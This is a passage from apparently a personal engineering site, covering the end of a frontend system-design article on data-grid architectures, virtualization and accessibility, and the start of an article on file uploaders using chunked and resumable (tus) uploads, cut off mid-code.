        .then((res) => res.json())
        .then((data) => params.success({ rowData: data.rows, rowCount: data.total }))
    },
  },
}
```

**Best for:**

- Enterprise applications with complex requirements (pivoting, Excel export)
- Teams preferring configuration over code
- Applications requiring server-side data operations
- Financial and analytics dashboards

**Device/network profile:**

- Works well on: Desktop browsers, tablets with sufficient memory
- Struggles on: Low-end mobile devices with large datasets (memory pressure)

**Implementation complexity:**

| Aspect             | Effort                             |
| ------------------ | ---------------------------------- |
| Initial setup      | Low—works out of the box           |
| Feature additions  | Low—most features are config flags |
| Performance tuning | Medium—tune row model and caching  |
| Testing            | Low—well-documented behavior       |

**Real-world example:**

Financial institutions use AG Grid for trading desks where grids display real-time market data with 50+ columns and thousands of rows updating per second. The viewport row model ensures only visible cells receive updates, while server-side grouping handles position aggregation without client-side computation.

**Trade-offs vs other paths:**

- ✅ Comprehensive feature set
- ✅ Excellent documentation
- ✅ Battle-tested at scale
- ❌ Large bundle (~300KB+ for enterprise)
- ❌ Styling requires understanding their architecture
- ❌ Enterprise license cost for advanced features

---

### Path 3: Canvas-Based Rendering (Custom/Specialized)

**Architecture:**

Canvas-based grids bypass the DOM entirely, drawing cells directly to a 2D canvas context. This eliminates DOM overhead but requires implementing everything: text rendering, selection highlights, scrollbars.

![Diagram](./diagram-3.svg)

**How it works:**

The rendering loop runs on `requestAnimationFrame`. On each frame:

1. Calculate which rows/columns are visible based on scroll position
2. Clear the canvas (or just the dirty regions)
3. Draw cell backgrounds, then text, then borders
4. Draw selection overlays
5. Schedule next frame if scrolling

Text input requires overlay `<input>` elements positioned over the canvas. Selection requires hit-testing mouse coordinates against cell boundaries.

**Best for:**

- Spreadsheet applications requiring 100K+ cells visible simultaneously
- Applications where DOM performance is the proven bottleneck
- Teams with graphics programming experience
- Custom visualization needs (sparklines, heatmaps in cells)

**Device/network profile:**

- Works well on: Devices with GPU acceleration, desktop browsers
- Struggles on: High-DPI displays without careful scaling, accessibility tools

**Implementation complexity:**

| Aspect             | Effort                               |
| ------------------ | ------------------------------------ |
| Initial setup      | Very high—build everything           |
| Feature additions  | High—no abstractions to lean on      |
| Performance tuning | Medium—canvas is inherently fast     |
| Testing            | High—visual testing, coordinate math |

**Real-world example:**

Google Sheets uses canvas rendering for the main cell area. Their architecture allows rendering hundreds of thousands of cells with smooth scrolling because paint operations are batched into single canvas draws rather than individual DOM mutations. The trade-off: Find-in-page (Ctrl+F) uses a custom dialog because native browser search doesn't work on canvas content.

**Trade-offs vs other paths:**

- ✅ Best raw rendering performance
- ✅ Full control over visual appearance
- ✅ No DOM node limits
- ❌ Accessibility is extremely difficult
- ❌ Browser features (find, copy, translate) require reimplementation
- ❌ Significant engineering investment

---

### Path 4: React-Integrated with Built-in Virtualization (MUI DataGrid)

**Architecture:**

MUI X DataGrid combines React integration with built-in virtualization. It renders real DOM elements but only for visible cells, bridging the gap between canvas performance and DOM accessibility.

![Diagram](./diagram-4.svg)

**How it works:**

Row virtualization renders only rows in the viewport plus an overscan buffer (default: 3 rows). Column virtualization renders columns within 150px of the visible region. The grid maintains scroll position through a combination of:

- Absolute positioning of visible rows
- Spacer elements for total scrollable height
- Transform translations for smooth scroll updates

```ts title="MUI DataGrid configuration" collapse={1-4, 18-25}
import { DataGrid } from "@mui/x-data-grid"

// Virtualization is automatic
// Configure overscan for smoother scrolling
const dataGridProps = {
  rows,
  columns,
  // Row virtualization enabled by default
  // Disable with: disableVirtualization
  rowBuffer: 3, // Overscan rows above/below
  columnBuffer: 3, // Overscan columns left/right
  // Column virtualization renders cols within 150px
  columnThreshold: 3, // Min columns to trigger virtualization
}

// Note: Row virtualization capped at 100 rows in free tier
// No limit in Pro/Premium
```

**Best for:**

- React applications using Material UI
- Teams wanting virtualization without DIY implementation
- Medium-scale grids (thousands to tens of thousands of rows)
- Applications requiring standard grid features with good defaults

**Device/network profile:**

- Works well on: Modern browsers, mid-range and up devices
- Struggles on: Very large datasets (>500K rows) without server-side pagination

**Implementation complexity:**

| Aspect             | Effort                             |
| ------------------ | ---------------------------------- |
| Initial setup      | Low—npm install and configure      |
| Feature additions  | Low-medium—props for most features |
| Performance tuning | Low—virtualization is built-in     |
| Testing            | Low—documented component API       |

**Real-world example:**

Internal admin dashboards commonly use MUI DataGrid because it integrates cleanly with Material UI's design system while handling the virtualization complexity. Teams get sorting, filtering, and column operations without building UI components.

**Trade-offs vs other paths:**

- ✅ Good balance of features and bundle size
- ✅ Virtualization included
- ✅ React-idiomatic API
- ❌ Tied to MUI ecosystem
- ❌ Free tier has feature limits
- ❌ Less customizable than headless approach

---

### Decision Matrix

| Factor            | Headless (TanStack)       | Full-Featured (AG Grid) | Canvas-Based   | React-Integrated (MUI) |
| ----------------- | ------------------------- | ----------------------- | -------------- | ---------------------- |
| Bundle size       | ~15KB                     | ~300KB+                 | Custom         | ~100KB                 |
| Max rows (client) | Depends on virtualization | 100K+                   | 1M+            | 100K                   |
| Rendering control | Full                      | Limited                 | Full           | Limited                |
| Virtualization    | DIY                       | Built-in                | Native         | Built-in               |
| Accessibility     | DIY                       | Good                    | Very difficult | Good                   |
| Learning curve    | Medium                    | Low                     | Very high      | Low                    |
| Styling freedom   | Full                      | Moderate                | Full           | Material-themed        |

![Diagram](./diagram-5.svg)

## Virtualization Deep Dive

Virtualization is the foundation of grid performance. Understanding its variants helps you choose the right approach.

### Fixed-Height Virtualization

When all rows have identical height, position calculation is trivial:

```ts title="Fixed-height position calculation"
// O(1) calculation - no measurement needed
const itemHeight = 35 // pixels
const scrollTop = 1500
const containerHeight = 500

const startIndex = Math.floor(scrollTop / itemHeight) // 42
const endIndex = Math.min(startIndex + Math.ceil(containerHeight / itemHeight) + 1, totalRows) // 57

const visibleRows = rows.slice(startIndex, endIndex)
const offsetY = startIndex * itemHeight // 1470px
```

Scroll performance is optimal because:

- No DOM measurement during scroll
- Binary search unnecessary—direct index calculation
- Consistent total height calculation

**Use when:** Log viewers, data tables with uniform content, lists of records.

### Variable-Height Virtualization

Real content varies. Social feeds, rich text editors, and expandable rows require dynamic height handling:

```ts title="Variable-height with measurement caching"
// Height cache: Map<rowIndex, measuredHeight>
const heightCache = new Map<number, number>()
const estimatedHeight = 50 // Fallback for unmeasured items

function getRowOffset(index: number): number {
  let offset = 0
  for (let i = 0; i < index; i++) {
    offset += heightCache.get(i) ?? estimatedHeight
  }
  return offset
}

function findStartIndex(scrollTop: number): number {
  // Binary search through cached heights
  let low = 0,
    high = totalRows - 1
  while (low < high) {
    const mid = Math.floor((low + high) / 2)
    if (getRowOffset(mid) < scrollTop) {
      low = mid + 1
    } else {
      high = mid
    }
  }
  return low
}
```

The challenges:

1. **Scroll jump**: When estimates are wrong, the total scrollable height changes as items render, causing visible jumps.
2. **Measurement timing**: You can't measure until you render, but you need heights to know what to render.
3. **Memory overhead**: Height cache grows with dataset size.

**Mitigation strategies:**

- Overscan: Render extra rows above/below viewport to provide measurement buffer
- Estimate refinement: Update estimated height as you measure more items
- Anchor preservation: When total height changes, adjust scroll position to keep visible content stable

### Column Virtualization

Wide grids need horizontal virtualization. MUI DataGrid renders columns within a configurable pixel buffer (default 150px) of the visible region:

```ts title="Column visibility calculation"
const scrollLeft = container.scrollLeft
const containerWidth = container.clientWidth

// Visible region with buffer
const visibleStart = scrollLeft - columnBuffer
const visibleEnd = scrollLeft + containerWidth + columnBuffer

const visibleColumns = columns.filter((col, index) => {
  const colStart = getColumnOffset(index)
  const colEnd = colStart + col.width
  return colEnd >= visibleStart && colStart <= visibleEnd
})
```

Column virtualization interacts with pinned columns—pinned columns are always rendered regardless of scroll position.

### Overscan Strategy

Overscan renders items beyond the visible region to prevent blank flashes during fast scrolling:

| Overscan Amount | Trade-off                                    |
| --------------- | -------------------------------------------- |
| 0               | Minimal DOM, visible flashing on fast scroll |
| 1-3             | Good balance for most use cases              |
| 5-10            | Smooth scroll, increased initial render      |
| 20+             | Defeats virtualization benefits              |

react-window exposes `overscanCount` prop. MUI DataGrid uses `rowBuffer` and `columnBuffer`.

## Column and Row Features

### Sorting Implementation

Client-side sorting is straightforward but blocks the main thread:

```ts title="Sort blocking the main thread" {3-5}
// Naive: Blocks UI during sort
function sortRows(rows: Row[], sortKey: string, direction: "asc" | "desc") {
  return [...rows].sort((a, b) => {
    // 100K comparisons block for 50-200ms
    const comparison = a[sortKey] > b[sortKey] ? 1 : -1
    return direction === "asc" ? comparison : -comparison
  })
}
```

For large datasets, offload to a Web Worker:

```ts title="Web Worker sort" collapse={1-8, 22-30}
// worker.ts
self.onmessage = (e) => {
  const { rows, sortKey, direction } = e.data
  const sorted = [...rows].sort((a, b) => {
    const comparison = a[sortKey] > b[sortKey] ? 1 : -1
    return direction === "asc" ? comparison : -comparison
  })
  self.postMessage(sorted)
}

// main.ts
const worker = new Worker("worker.ts")

function sortAsync(rows: Row[], sortKey: string, direction: SortDirection): Promise<Row[]> {
  return new Promise((resolve) => {
    worker.onmessage = (e) => resolve(e.data)
    worker.postMessage({ rows, sortKey, direction })
  })
}

// UI remains responsive during sort
sortAsync(largeDataset, "name", "asc").then(setSortedRows)
```

**Server-side sorting** is required when data doesn't fit in memory. The grid sends sort parameters; the server returns sorted pages.

### Column Pinning/Freezing

Pinning creates three synchronized scroll regions:

![Diagram](./diagram-6.svg)

Implementation requirements:

1. **Vertical scroll sync**: All three regions scroll vertically together
2. **Horizontal scroll isolation**: Only center region scrolls horizontally
3. **Shadow indicators**: Visual cues showing content beneath pinned columns
4. **Selection continuity**: Selection spans all regions correctly

Best practices:

- Limit left-pinned width to 200-300px (identity columns)
- Limit right-pinned to 100-150px (action buttons)
- Unpin responsively if pinned columns exceed 60% of grid width

### Row Grouping and Tree Structures

Row grouping transforms flat data into hierarchical views:

```ts title="Row grouping data structure"
interface GroupedRow {
  type: "group"
  groupKey: string
  groupValue: unknown
  children: (GroupedRow | DataRow)[]
  aggregates: Record<string, number>
  isExpanded: boolean
}

interface DataRow {
  type: "data"
  data: Record<string, unknown>
}

// Grouped structure for display
const grouped: GroupedRow = {
  type: "group",
  groupKey: "department",
  groupValue: "Engineering",
  isExpanded: true,
  aggregates: { salary: 2500000, headcount: 50 },
  children: [
    { type: "data", data: { name: "Alice", salary: 150000 } },
    { type: "data", data: { name: "Bob", salary: 140000 } },
    // ...
  ],
}
```

Client-side grouping works for moderate datasets. Server-side row models (AG Grid Enterprise) fetch grouped data on demand—expanding a group triggers a server request for children.

### Cell Editing

Cell editing modes:

| Mode           | UX                          | Implementation                     |
| -------------- | --------------------------- | ---------------------------------- |
| Click-to-edit  | Click cell → editor appears | Replace cell renderer with input   |
| Double-click   | Double-click → editor       | Same, different trigger            |
| Always-editing | Cells are always inputs     | Higher memory, keyboard challenges |
| Modal editing  | Click → popup form          | Separate form state management     |

```ts title="Inline cell editing state" collapse={1-5, 18-25}
interface CellEditState {
  rowId: string
  columnId: string
  originalValue: unknown
  currentValue: unknown
  isValid: boolean
}

function handleCellEdit(rowId: string, colId: string) {
  setEditState({
    rowId,
    columnId: colId,
    originalValue: getCellValue(rowId, colId),
    currentValue: getCellValue(rowId, colId),
    isValid: true,
  })
}

function commitEdit() {
  if (editState.isValid) {
    updateCell(editState.rowId, editState.columnId, editState.currentValue)
  }
  setEditState(null)
}

function cancelEdit() {
  setEditState(null)
}
```

Keyboard conventions:

- `Enter`: Commit and move to cell below
- `Tab`: Commit and move to next cell
- `Escape`: Cancel edit, restore original value
- `F2`: Enter edit mode on focused cell

## Accessibility

### ARIA Grid Pattern

The WAI-ARIA 1.2 specification defines the grid pattern for accessible two-dimensional navigation. Required roles:

```html title="ARIA grid structure"
<div role="grid" aria-label="Employee data" aria-rowcount="1000" aria-colcount="10">
  <div role="rowgroup">
    <div role="row" aria-rowindex="1">
      <div role="columnheader" aria-colindex="1" aria-sort="ascending">Name</div>
      <div role="columnheader" aria-colindex="2">Department</div>
    </div>
  </div>
  <div role="rowgroup">
    <div role="row" aria-rowindex="2">
      <div role="gridcell" aria-colindex="1">Alice</div>
      <div role="gridcell" aria-colindex="2">Engineering</div>
    </div>
  </div>
</div>
```

Critical attributes:

- `aria-rowcount`/`aria-colcount`: Total count (including virtualized)
- `aria-rowindex`/`aria-colindex`: Current position (1-indexed)
- `aria-sort`: Indicates sorted column (`ascending`, `descending`, `none`)
- `aria-selected`: For selectable cells/rows

### Keyboard Navigation

The spec mandates comprehensive keyboard support:

| Key           | Action                            |
| ------------- | --------------------------------- |
| Arrow keys    | Move focus one cell in direction  |
| Home/End      | First/last cell in row            |
| Ctrl+Home/End | First/last cell in grid           |
| Page Up/Down  | Move focus by visible page height |
| Ctrl+Space    | Select column                     |
| Shift+Space   | Select row                        |
| F2            | Enter edit mode                   |
| Escape        | Exit edit mode                    |

```ts title="Keyboard navigation handler" collapse={1-3, 25-35}
function handleKeyDown(e: KeyboardEvent, currentRow: number, currentCol: number) {
  switch (e.key) {
    case "ArrowRight":
      e.preventDefault()
      focusCell(currentRow, Math.min(currentCol + 1, colCount - 1))
      break
    case "ArrowLeft":
      e.preventDefault()
      focusCell(currentRow, Math.max(currentCol - 1, 0))
      break
    case "ArrowDown":
      e.preventDefault()
      focusCell(Math.min(currentRow + 1, rowCount - 1), currentCol)
      break
    case "ArrowUp":
      e.preventDefault()
      focusCell(Math.max(currentRow - 1, 0), currentCol)
      break
    case "Home":
      e.preventDefault()
      if (e.ctrlKey) {
        focusCell(0, 0)
      } else {
        focusCell(currentRow, 0)
      }
      break
    // ... additional cases
  }
}
```

### Screen Reader Considerations

Virtualization creates challenges:

1. **Dynamic content**: Screen readers may not announce cells that render during scroll
2. **Focus management**: Focus must move to newly rendered cells correctly
3. **Live regions**: Use `aria-live` for sort/filter status announcements

```html title="Status announcements"
<div aria-live="polite" aria-atomic="true" class="sr-only">
  Sorted by Name, ascending. Showing 1 to 50 of 1,000 rows.
</div>
```

Canvas-based grids face the steepest accessibility challenges—they require parallel DOM structures or ARIA virtual buffers that most implementations don't include.

## Performance Optimization

### Memoization Strategy

React grids benefit heavily from memoization:

```ts title="Memoizing row components" collapse={1-5, 18-25}
// Without memoization: every row re-renders on any state change
const Row = ({ data, columns }) => (
  <tr>
    {columns.map((col) => (
      <td key={col.id}>{data[col.field]}</td>
    ))}
  </tr>
)

// With memoization: rows only re-render when their data changes
const Row = React.memo(
  ({ data, columns }) => (
    <tr>
      {columns.map((col) => (
        <td key={col.id}>{data[col.field]}</td>
      ))}
    </tr>
  ),
  (prevProps, nextProps) => prevProps.data === nextProps.data && prevProps.columns === nextProps.columns
)
```

Common memoization mistakes:

- Creating new objects in render props: `style={{ margin: 10 }}` creates new reference every render
- Inline callbacks: `onClick={() => handleClick(id)}` defeats memoization
- Unstable column definitions: Define columns outside component or memoize

### Batch Updates

Multiple rapid updates should batch into single renders:

```ts title="Batching cell updates"
// Without batching: N updates = N renders
updates.forEach((update) => {
  setData((prev) => updateCell(prev, update))
})

// With batching: N updates = 1 render
setData((prev) => {
  let next = prev
  updates.forEach((update) => {
    next = updateCell(next, update)
  })
  return next
})
```

For real-time data (WebSocket feeds), buffer updates and flush on `requestAnimationFrame`:

```ts title="RAF-batched updates" collapse={1-5, 18-25}
const updateBuffer: Update[] = []
let rafScheduled = false

function queueUpdate(update: Update) {
  updateBuffer.push(update)
  if (!rafScheduled) {
    rafScheduled = true
    requestAnimationFrame(flushUpdates)
  }
}

function flushUpdates() {
  rafScheduled = false
  if (updateBuffer.length > 0) {
    setData((prev) => applyUpdates(prev, updateBuffer.splice(0)))
  }
}
```

### Memory Management

Large grids consume memory in multiple ways:

| Source          | Mitigation                           |
| --------------- | ------------------------------------ |
| Row data        | Paginate or virtualize data fetching |
| Height cache    | Use WeakMap, limit cache size        |
| Event listeners | Share handlers via delegation        |
| Undo history    | Limit history depth, compress states |

For grids with 100K+ rows, consider:

- Server-side filtering/sorting (don't load all rows)
- Virtualized data fetching (fetch rows as they come into view)
- Incremental data loading with cursors

## Real-World Implementations

### Google Sheets: Canvas-First Architecture

Google Sheets renders the main cell grid to a `<canvas>` element. This enables:

- Rendering 100,000+ visible cells at 60fps
- Complex cell formatting (borders, backgrounds, conditional formatting) without DOM overhead
- Custom selection rendering (blue highlight, drag handles)

The trade-off: Find-in-page (Ctrl+F) opens a custom dialog because native browser search doesn't see canvas content. Copy/paste works by intercepting clipboard events and reading from their data model.

**Key insight:** They maintain a parallel DOM structure for accessibility, announced via ARIA live regions as users navigate.

### Notion: Block-Based Virtualization

Notion's database views use their block-based architecture. Each database row is a page block containing property blocks:

- A 20,000-row database may contain hundreds of thousands of blocks
- Real-time collaboration synchronizes block changes via WebSocket
- Client-side RecordCache (IndexedDB) stores accessed blocks locally

Performance challenges:

- Complex formulas and rollups recalculate on every view
- More visible properties = larger data payload per row
- Inline databases on busy pages compound loading

Notion addresses this through progressive loading—visible rows load first, off-screen rows load as users scroll.

### AG Grid in Financial Applications

Trading desks use AG Grid for real-time market data:

- Viewport row model: Server knows exactly what's visible
- Cell renderers: Conditional formatting for price changes (red/green)
- Batch updates: Hundreds of price updates per second batched to frames

The architecture handles 50+ columns and continuous updates because:

- Only visible cells receive DOM updates
- Server-side aggregation for position summaries
- Enterprise clustering for multi-user scenarios

## Conclusion

Data grid architecture choices cascade through your entire implementation. The decision between headless (TanStack), full-featured (AG Grid), canvas-based, or framework-integrated (MUI) determines your bundle size, feature velocity, and performance ceiling.

Key takeaways:

1. **Virtualization is table stakes** for any grid beyond ~100 rows. Choose fixed-height when possible; accept variable-height complexity only when content demands it.

2. **Match your row model to scale**: Client-side handles 100K rows well. Beyond that, server-side or infinite models become necessary.

3. **Accessibility requires explicit work**. Virtualization breaks default behaviors. Budget time for ARIA roles, keyboard navigation, and screen reader testing.

4. **Performance optimization is continuous**. Memoization, batching, and worker threads each address different bottlenecks. Profile before optimizing.

5. **Canvas is a last resort**. The performance gains are real, but the accessibility and browser feature costs are steep. Reserve it for specialized applications like spreadsheets.

The best data grid is the one that solves your users' problems without becoming a maintenance burden. Start with the simplest approach that meets requirements, and optimize when measurement proves it necessary.

## Appendix

### Prerequisites

- DOM and browser rendering fundamentals
- React hooks and component lifecycle (for React-based examples)
- Basic understanding of time complexity (O(n), O(log n))
- Familiarity with accessibility concepts (ARIA, keyboard navigation)

### Terminology

- **Virtualization/Windowing**: Rendering only visible items plus a buffer, recycling DOM nodes as users scroll
- **Overscan**: Extra items rendered beyond the visible region to prevent flashing during fast scroll
- **Row model**: Data loading strategy—client-side loads all data, server-side/infinite loads on demand
- **Pinning/Freezing**: Keeping columns or rows visible regardless of scroll position
- **Headless UI**: Library providing logic without rendering opinions—you supply the markup

### Summary

- Data grids must virtualize beyond ~100 rows to maintain performance; browsers struggle with thousands of DOM nodes
- Four architectural approaches: headless (TanStack—control), full-featured (AG Grid—batteries included), canvas-based (Sheets—performance), framework-integrated (MUI—balance)
- Row models range from client-side (all data in memory) to server-side (fetch on demand)—choose based on dataset size
- Column pinning creates three synchronized scroll regions requiring careful coordination
- Accessibility requires explicit ARIA roles, keyboard navigation handlers, and screen reader announcements
- Profile before optimizing: memoization, batching, and workers address different bottlenecks

### References

- [WAI-ARIA 1.2 Grid Pattern](https://www.w3.org/WAI/ARIA/apg/patterns/grid/) - Definitive accessibility specification for data grids
- [WICG Virtual Scroller Specification](https://wicg.github.io/virtual-scroller/) - Proposed native virtualization standard (in development)
- [TanStack Table Documentation](https://tanstack.com/table/latest/docs/introduction) - Headless table library architecture and API
- [AG Grid Row Models](https://www.ag-grid.com/react-data-grid/row-models/) - Client-side, server-side, infinite, and viewport row model documentation
- [MUI X DataGrid](https://mui.com/x/react-data-grid/) - React-integrated grid with built-in virtualization
- [react-window](https://github.com/bvaughn/react-window) - Lightweight virtualization library by Brian Vaughn
- [web.dev: Virtualize Long Lists](https://web.dev/articles/virtualize-long-lists-react-window/) - Google's guide to windowing with react-window
- [Notion Data Model](https://www.notion.com/blog/data-model-behind-notion) - Block-based architecture powering Notion's database views
- [MDN: ARIA Grid Role](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Reference/Roles) - ARIA role reference documentation

---

## Design a File Uploader

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/design-file-uploader
**Category:** System Design / Frontend System Design
**Description:** Building robust file upload requires handling browser constraints, network failures, and user experience across a wide spectrum of file sizes and device capabilities. A naive approach—form submission or single XHR (XMLHttpRequest)—fails at scale: large files exhaust memory, network interruptions lose progress, and users see no feedback. Production uploaders solve this through chunked uploads, resumable protocols, and careful memory management.

# Design a File Uploader

Building robust file upload requires handling browser constraints, network failures, and user experience across a wide spectrum of file sizes and device capabilities. A naive approach—form submission or single XHR (XMLHttpRequest)—fails at scale: large files exhaust memory, network interruptions lose progress, and users see no feedback. Production uploaders solve this through chunked uploads, resumable protocols, and careful memory management.

<figure>

![Chunked uploads enable resumability and progress tracking while keeping memory usage constant regardless of file size.](./chunked-uploads-enable-resumability-and-progress-tracking-while-keeping-memory-u.svg)

<figcaption>Chunked uploads enable resumability and progress tracking while keeping memory usage constant regardless of file size.</figcaption>
</figure>

## Abstract

File upload design centers on three architectural decisions:

1. **Upload method**: Single request (FormData/XHR) vs chunked (Blob.slice + sequential requests). Single is simpler; chunked enables resumability and progress.

2. **Resumability protocol**: tus (open standard), proprietary (Google/AWS), or none. Resumability adds server-side state but eliminates re-upload on failure.

3. **Memory strategy**: Load entire file (simple, fails at ~1-2GB) vs stream chunks (constant memory, handles any size).

Key browser constraints shape the design:

- **No Fetch upload progress**: XHR's `upload.progress` event is the only native progress mechanism
- **Blob.slice is O(1)**: Slicing creates a view, not a copy—safe for huge files
- **URL.createObjectURL leaks memory**: Must call `revokeObjectURL()` explicitly
- **File type detection is unreliable**: `file.type` comes from extension, not content

Production implementations (Dropbox, Google Drive, Slack) all use chunked uploads with resumability for files above a threshold (typically 5-20MB), with chunk sizes between 5-256MB depending on network assumptions.

## The Challenge

### Browser Constraints

The File API provides the foundation for file handling in browsers. Per the W3C File API specification, a `File` extends `Blob` with `name` and `lastModified` properties. The critical constraint: accessing file data requires either loading it entirely into memory (FileReader) or streaming it chunk-by-chunk (Blob.stream() or Blob.slice()).

**Memory limits**: FileReader's `readAsArrayBuffer()` or `readAsDataURL()` loads the entire file into memory. On mobile devices with 50-100MB practical limits, files over a few hundred MB can crash the tab. Desktop browsers handle more but still fail at 1-2GB for single reads.

**Main thread budget**: Image processing (thumbnail generation, dimension validation) can block the main thread. A 20MP JPEG decode takes 100-200ms on mid-range mobile devices—enough to cause noticeable jank.

**Blob URL lifecycle**: `URL.createObjectURL()` creates a reference that persists until document unload or explicit `revokeObjectURL()`. In long-running SPAs (Single Page Applications) with frequent file selection, leaked URLs accumulate memory.

### Upload Method Constraints

| Method           | Progress Events   | Streaming | Memory Usage          | Browser Support  |
| ---------------- | ----------------- | --------- | --------------------- | ---------------- |
| Form submission  | None              | N/A       | Low                   | Universal        |
| XMLHttpRequest   | `upload.progress` | No        | Entire body in memory | Universal        |
| Fetch + FormData | None              | No        | Entire body in memory | Universal        |
| Fetch + Stream   | None (unreliable) | Yes       | O(chunk)              | Chrome 105+ only |

The critical gap: Fetch API has no upload progress events. As Jake Archibald documented, using Streams to measure Fetch upload progress gives inaccurate results due to browser buffering—bytes enqueued don't equal bytes sent. XHR remains the only reliable progress mechanism.

### Scale Factors

| Factor              | Simple Uploader        | Production Uploader    |
| ------------------- | ---------------------- | ---------------------- |
| File size           | < 10 MB                | Any size               |
| Network reliability | Stable connection      | Intermittent, mobile   |
| Concurrent uploads  | Single file            | Multiple, queued       |
| Failure recovery    | Restart from beginning | Resume from last chunk |
| Memory usage        | O(file size)           | O(chunk size)          |

## Design Paths

### Path 1: Single-Request Upload (XHR + FormData)

**How it works:**

The entire file is sent in one HTTP request using FormData. XHR provides progress events.

```typescript title="single-upload.ts" collapse={1-3,30-40}
interface UploadOptions {
  file: File
  url: string
  onProgress?: (loaded: number, total: number) => void
  onComplete?: (response: unknown) => void
  onError?: (error: Error) => void
}

function uploadFile({ file, url, onProgress, onComplete, onError }: UploadOptions): () => void {
  const xhr = new XMLHttpRequest()

  xhr.upload.addEventListener("progress", (e) => {
    if (e.lengthComputable) {
      onProgress?.(e.loaded, e.total)
    }
  })

  xhr.addEventListener("load", () => {
    if (xhr.status >= 200 && xhr.status < 300) {
      onComplete?.(JSON.parse(xhr.responseText))
    } else {
      onError?.(new Error(`Upload failed: ${xhr.status}`))
    }
  })

  xhr.addEventListener("error", () => onError?.(new Error("Network error")))

  const formData = new FormData()
  formData.append("file", file)

  xhr.open("POST", url)
  xhr.send(formData)

  // Return abort function
  return () => xhr.abort()
}
```

**Why FormData over raw Blob:**

FormData automatically sets the correct `Content-Type: multipart/form-data` with boundary. Setting this header manually is error-prone—the boundary must match the body encoding exactly.

**Performance characteristics:**

| Metric                    | Value        |
| ------------------------- | ------------ |
| Memory usage              | O(file size) |
| Progress granularity      | ~50ms events |
| Resume capability         | None         |
| Implementation complexity | Low          |

**Best for:**

- Files under 5-10 MB
- Stable network connections
- Simple use cases without resume requirements

**Trade-offs:**

- ✅ Simple implementation, minimal code
- ✅ Native progress events from XHR
- ✅ Works in all browsers
- ❌ No resume on failure—restart from beginning
- ❌ Memory usage scales with file size
- ❌ Large files may timeout

### Path 2: Chunked Upload with Resume

**How it works:**

The file is sliced into chunks using `Blob.slice()`. Each chunk uploads sequentially, with the server tracking received bytes. On failure, upload resumes from the last successful chunk.

```typescript title="chunked-upload.ts" collapse={1-5,65-85}
interface ChunkedUploadOptions {
  file: File
  uploadUrl: string
  chunkSize?: number // Default 5MB
  onProgress?: (uploaded: number, total: number) => void
  onComplete?: () => void
  onError?: (error: Error) => void
}

async function chunkedUpload({
  file,
  uploadUrl,
  chunkSize = 5 * 1024 * 1024,
  onProgress,
  onComplete,
  onError,
}: ChunkedUploadOptions): Promise<void> {
  let offset = 0

  // Query server for existing offset (resume support)
  try {
    const headResponse = await fetch(uploadUrl, { method: "HEAD" })
    const serverOffset = headResponse.headers.get("Upload-Offset")
    if (serverOffset) {
      offset = parseInt(serverOffset, 10)
    }
  } catch {
    // No existing upload, start from 0
  }

  while (offset < file.size) {
    const chunk = file.slice(offset, offset + chunkSize)

    // Use XHR for per-chunk progress
    await new Promise<void>((resolve, reject) => {
      const xhr = new XMLHttpRequest()

      xhr.upload.addEventListener("progress", (e) => {
        if (e.lengthComputable) {
          onProgress?.(offset + e.loaded, file.size)
        }
      })

      xhr.addEventListener("load", () => {
        if (xhr.status >= 200 && xhr.status < 300) {
          resolve()
        } else {
          reject(new Error(`Chunk upload failed: ${xhr.status}`))
        }
      })

      xhr.addEventListener("error", () => reject(new Error("Network error")))

      xhr.open("PATCH", uploadUrl)
      xhr.setRequestHeader("Content-Type", "application/offset+octet-stream")
      xhr.setRequestHeader("Upload-Offset", String(offset))
      xhr.send(chunk)
    })

    offset += chunk.size
  }

  onComplete?.()
}
```

**Why `Blob.slice()` doesn't copy data:**

Per the W3C File API specification, `slice()` returns a new Blob that references the same underlying data with different start/end positions. This is O(1) regardless of file size—critical for multi-gigabyte files.

**Chunk size selection:**

| Network             | Recommended Chunk Size | Rationale                             |
| ------------------- | ---------------------- | ------------------------------------- |
| Fiber/broadband     | 50-100 MB              | Maximize throughput, reduce overhead  |
| Mobile 4G/5G        | 5-10 MB                | Balance between progress and recovery |
| Unstable connection | 1-5 MB                 | Minimize data loss per failure        |

AWS S3 requires minimum 5 MB chunks (except final). Google Drive requires 256 KB minimum. tus protocol has no minimum but recommends 5 MB.

**Performance characteristics:**

| Metric                    | Value                   |
| ------------------------- | ----------------------- |
| Memory usage              | O(chunk size)           |
| Progress granularity      | Per-chunk + intra-chunk |
| Resume capability         | Full (from last chunk)  |
| Implementation complexity | Medium                  |

**Best for:**

- Files over 10 MB
- Unreliable networks (mobile, international)
- Applications requiring resume capability

**Trade-offs:**

- ✅ Constant memory regardless of file size
- ✅ Resume from last successful chunk
- ✅ Fine-grained progress
- ❌ More HTTP requests (overhead)
- ❌ Server must track upload state
- ❌ More complex client and server implementation

### Path 3: tus Protocol Implementation

**How it works:**

The tus protocol (resumable uploads) is an open standard with three phases: creation, upload, and completion. The server returns a unique upload URL that persists across sessions.

```typescript title="tus-client.ts" collapse={1-8,90-110}
interface TusUploadOptions {
  file: File
  endpoint: string // Server endpoint for creating uploads
  chunkSize?: number
  metadata?: Record<string, string>
  onProgress?: (uploaded: number, total: number) => void
  onComplete?: (uploadUrl: string) => void
  onError?: (error: Error) => void
}

class TusUpload {
  private uploadUrl: string | null = null
  private offset = 0
  private aborted = false

  constructor(private options: TusUploadOptions) {}

  async start(): Promise<void> {
    const { file, endpoint, metadata, chunkSize = 5 * 1024 * 1024 } = this.options

    // Phase 1: Create upload resource
    if (!this.uploadUrl) {
      const encodedMetadata = metadata
        ? Object.entries(metadata)
            .map(([k, v]) => `${k} ${btoa(v)}`)
            .join(",")
        : undefined

      const createResponse = await fetch(endpoint, {
        method: "POST",
        headers: {
          "Tus-Resumable": "1.0.0",
          "Upload-Length": String(file.size),
          ...(encodedMetadata && { "Upload-Metadata": encodedMetadata }),
        },
      })

      if (createResponse.status !== 201) {
        throw new Error(`Failed to create upload: ${createResponse.status}`)
      }

      this.uploadUrl = createResponse.headers.get("Location")
      if (!this.uploadUrl) {
        throw new Error("Server did not return upload URL")
      }
    }

    // Phase 2: Query current offset (for resume)
    const headResponse = await fetch(this.uploadUrl, {
      method: "HEAD",
      headers: { "Tus-Resumable": "1.0.0" },
    })

    const serverOffset = headResponse.headers.get("Upload-Offset")
    this.offset = serverOffset ? parseInt(serverOffset, 10) : 0

    // Phase 3: Upload chunks
    while (this.offset < file.size && !this.aborted) {
      const chunk = file.slice(this.offset, this.offset + chunkSize)

